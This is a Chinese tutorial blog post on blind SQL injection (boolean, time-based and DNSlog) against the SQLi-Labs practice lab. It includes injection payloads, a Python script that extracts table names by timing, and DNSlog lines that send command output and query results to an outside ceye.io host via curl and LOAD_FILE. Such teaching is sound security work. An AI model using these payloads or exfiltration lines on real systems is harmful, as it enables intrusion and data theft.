zoukankan      html  css  js  c++  java
  • 【Web安全】三、SQL盲注

    一、布尔盲注

    布尔盲注原理

    可以进行注入,但是不回显数据,只返回True与False。

    布尔盲注典型代码

    $id = $_GET['id'];
    $sql = "SELECT * FROM users WHERE id='$id' limit 0,1";
    $result = mysql_query($sql);
    $row = mysql_fetch_array($result);
    if($row){
      echo "True!!!";
    }else{
      echo "Fasle!!!";
    }
    

    布尔盲注方法

    构造逻辑判断语句,判断信息真假

    序号 方法 说明
    1 left()函数 left(str1,length) 从左侧截取str的前b位
    2 regexp select user() regexp '^r' regexp为匹配root的正则表达式
    3 like select user() like 'ro%' 使用like进行匹配
    4 substr()函数和ascii()函数 ascii(substr((select database(),1,1))=98 substr(str,index,length)
    5 ord()函数和mid()函数 ord(mid((select user()),1,1))=114 mid(str,index,length)

    注: 在BurpSuite中可以使用intuder模块根据返回页面长度不同来判断。(利用BurpSuite工具将在后续文章中详解)

    实战 SQLi-Labs Less-8

    1. 阅读源代码可知语句为True则返回You are in ......,False则不返回内容。

    image-20200322142910359

    1. 利用left()函数来测试数据库名称

    image-20200322143316493

    image-20200322143340019

    1. 利用left()函数来查询数据表名称

    image-20200322153425413

    1. 利用regexp正则表达式来查询数据库名称

    image-20200322211153300

    1. 利用substr()ascii()函数来查询数据库名称

    image-20200322211554750

    二、时间盲入

    时间盲注原理

    代码存在SQL注入漏洞,但是页面不会回显错误信息

    语句执行后也不回显真假信息,不能通过页面的内容来判断

    时间盲注:构造语句,通过页面响应的时长来判断信息

    时间盲注代码

    $id = $_GET['id'];
    $sql = "SELECT * FROM users WHERE id='$id' limit 0,1";
    $result = mysql_query($sql);
    $row = mysql_fetch_array($result);
    if($row){
      echo "";
    }else{
      echo "";
    }
    

    时间盲注方法

    构造逻辑语句,通过条件语句进行判断,True则立即执行,False则延时执行。

    核心语法:if(条件,0,sleep(3));

    真实场景:if(ascii(substr(database(),1,1))>115,0,sleep(5))--+

    实战 SQLi-Labs Less-10

    1. 阅读源代码可知语句无论是True还是False都返回You are in ......

    image-20200322220114441

    1. 构造Payload实现时间盲注http://127.0.0.1:8999/Less-10/?id=2“ and if(left(user(),1)= ’a’,0,sleep(3))--+,通过响应时长来判断。

    image-20200322221054373

    1. 构造Payload实现时间盲注http://127.0.0.1:8999/Less-10/?id=2“ and if(left(user(),1)= ’r’,0,sleep(3))--+(正确答案),通过响应时长来判断。

    image-20200322221326336

    用Python3编写时间盲注脚本

    # timeBlindSql.py
    import requests
    import time
    import binascii
    
    #提供字符串转十六进制函数
    #def strtoHex():
    #    temp = str(binascii.b2a_hex('security'.encode('utf-8')))
    #    return '0x'+temp[2:len(temp)-1]
    
    url = 'http://127.0.0.1:8999/Less-10/?id=1'
    
    # 获取数据库,不需做任何改动
    database = 'select schema_name from information_schema.schemata'
    
    # 获取数据表,默认为当前数据库,若需改动则填写数据库的十六进制格式
    
    table = 'select table_name from information_schema.tables where table_schema=database()'
     
    # 获取数据表,数据表的十六进制格式
    column = 'select column_name from information_schema.columns where table_name="table_name"'
    
    result = ''
    result_total = ''
    for num in range(0,5):
        for i in range(1,20):
              for j in range(48,122):
                payload = '" and if(ascii(substr(({} limit {},1),{},1))={},sleep(1),1)--+'.format(table,num,i,j)
                stime = time.time()
                r = requests.get(url+payload)
                etime = time.time()
                if etime - stime >= 1:
                    result += chr(j)
                    break
        print('result[{}]:'.format(num)+result)  
        result_total += '{} '.format(result)
        result = ''
    print(result_total) 
       
    

    三、Dnslog盲注

    Dnslog盲注原理

    DnsLog:DNS Server中记录我们访问域名的信息。

    语句执行后也不回显真假信息,不能通过页面的内容来判断。我们可以通过布尔或时间盲注来获取内容,但是整个过程效率很低,需要发送很多的请求进行判断,很可能会触发安全设备的防护。

    DnsLog盲注:减少请求,直接回显数据。

    Dnslog盲注典型代码

    $id = $_GET['id'];
    $sql = "SELECT * FROM users WHERE id='$id' limit 0,1";
    $result = mysql_query($sql);
    $row = mysql_fetch_array($result);
    if($row){
      echo "True!!!";
    }else{
      echo "Fasle!!!";
    }
    

    Dnslog盲注方法

    DnsLog平台:http://ceye.io/

    1. 前往DnsLog平台注册登入后,平台会分配一个Identity

    image-20200323170310463

    1. 进入命令行利用curl发起请求

    image-20200323170444476

    1. 在ceye.io/records/dns即可查看到访问记录

    image-20200323170636399

    1. 利用bash中``可执行命令的属性。设置curl请求:`whoami`.bygt3w.ceye.io

    image-20200323171027652

    DNS在解析的时候会留下日志,通过读取多级域名的解析日志,获取请求信息。

    在MySQ LLOAD_FILE函数可以发起请求,使用DnsLog接收请求,获取数据。

    核心语句:SELECT LOAD_FILE(CONCAT('\\',(select database()),'.mysql.bygt3w.ceye.io\abc'))

    通过SQL语句查询内容,作为请求的一部分,发送至DnsLog。

    只需要对核心语句中select database()部分进行构造,就能实现有回显的SQL注入。

  • 相关阅读:
    容器之队列的使用
    容器之栈的使用
    rapidxml的使用
    C++判断文件夹是否存在并创建文件夹
    VS2017,不能将const char *转为char *
    CSS_day01_选择器
    HTML_day02_列表
    HTML_day01基本标签
    python_day3
    python_day2
  • 原文地址:https://www.cnblogs.com/implanck/p/12555839.html
Copyright © 2011-2022 走看看